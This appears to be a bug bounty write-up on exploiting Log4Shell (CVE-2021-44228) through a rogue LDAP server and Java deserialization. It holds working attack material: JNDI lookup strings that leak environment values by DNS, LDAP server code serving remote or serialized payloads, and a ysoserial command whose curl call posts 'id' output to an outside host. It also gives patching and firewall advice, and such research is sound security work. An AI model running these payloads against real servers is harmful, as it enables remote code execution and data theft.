Log4Shell - different avenues of exploitation
This is a story about different ways to achieve RCE through the Java Log4j2 vulnerability (Log4Shell, CVE-2021-44228). And while some methods may not work, others may.
This year I stumbled across a Log4j vulnerability on one of the bug bounty targets. To confirm it’s not a false positive, I injected ${env:USER}
into a callback domain like this ${jndi:ldap://abc${env:USER}.yourdomain.com}
and observed the server’s username disclosed in my DNS logs.
Once I got over the surprise of finding such a vulnerability in 2023, I quickly submitted the report to the company. However, they came back saying their software was patched and without solid proof of actual RCE, they wouldn’t classify it as critical. Fair point.
Old tools
Ever since Log4Shell was first uncovered, I've kept a piece of Java code for a rogue LDAP server in my toolkit. Here’s a snippet of the code that crafts the LDAP response:
Entry e = new Entry(base);
String codebase = "http://youranotherdomain.com";
String className = "Evil";
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
Here's how it works: The vulnerable server contacts the attacker’s LDAP server. Upon receiving a response—crafted by the above code—the vulnerable server then fetches and executes http://youranotherdomain.com/Evil.class
. Pretty simple, right?
With my heart full of hope, I spun up this LDAP server and sent the payload to the vulnerable target. My server logs did register an LDAP interaction, yet nothing else unfolded - there was no attempt to fetch my Evil.class.
However, it wasn’t time to give up just yet.
Time for insights
With the same technique I used to exfiltrate the server’s username, I next extracted its Java version with the ${java:version}
payload, which turned out to be 1.8.0_372. Quickly, I had this version of Java installed locally to confirm that my initial attack approach indeed didn’t work. Interestingly, the attack does work for version 1.8.0_181. This suggests that Java received a patch against this attack somewhere in-between these two versions, which is likely what the bug bounty team referred to when they mentioned being patched.
At this point I started googling.
After reading through a dozen articles that mostly reworded the same general information about Log4Shell, I finally struck gold (see References section below). They introduced alternative techniques, including some specific to Tomcat or Weblogic environments, but the one that caught my attention involved… insecure deserialization.
Now things were getting interesting! :)
The snippet of LDAP server code for this case looks like this:
Entry e = new Entry(base);
String b64payload = "<your payload>";
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.decode(b64payload));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
Seeing no need to wait any further, I generated a universal URLDNS ysoserial payload:
docker run --rm ysoserial URLDNS http://youronemoredomain.com | base64 -w0
Upon updating my rogue LDAP server code and re-triggering the Log4Shell vulnerability, I successfully observed DNS requests to youronemoredomain.com
, both locally and on the bug bounty target. Q.E.D.
In order to provide a strong proof for the team behind the bug bounty target, I generated the following ysoserial-modified payload:
docker run --rm ysoserial-modified CommonsCollections4 bash 'curl http://myserver.com -d "$(id)"' | base64 -w0
The ysoserial-modified is better than ysoserial in a way that it allows to use complex bash commands with command substitution.
When this payload was triggered on the vulnerable server, I received the so long-desired output of id
command.
Final thoughts
As you have seen, the latest patch of this particular Java version could not prevent the attack. The most effective remedy is upgrading the Log4j2 library itself.
Additionally, I recommend placing servers behind a Web Application Firewall (WAF) like Akamai, Incapsula, or Cloudflare. It’s important to remember that a WAF cannot always protect a vulnerable application completely, but it does add an essential layer of defense. This is especially valuable during the time-consuming process of upgrading Log4j2.
As a final note, I tested the attack against the latest Java version, 21, and observed it fail, throwing an 'Object deserialization is not allowed' error.
I wonder if there are ways to achieve RCE with this version of Java, and why it is protected against the attack while the latest patch of version 1.8 (1.8.0_372) is not. If you have insights, I'd love to hear them. Drop me a message.
My Twitter: @alex_roqo
My LinkedIn: https://www.linkedin.com/in/velickiy/
References
https://www.cnblogs.com/yyhuni/p/15088134.html (English translation) - An in-depth research discussing various aspects of this topic.
https://bherunda.medium.com/using-java-deserialization-to-exploit-log4shell-logforge-htb-25b9486e90b6 - A Hack The Box writeup that demonstrates the exploitation of Log4Shell using the same technique discussed in this post.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus - Source code for a rogue LDAP server.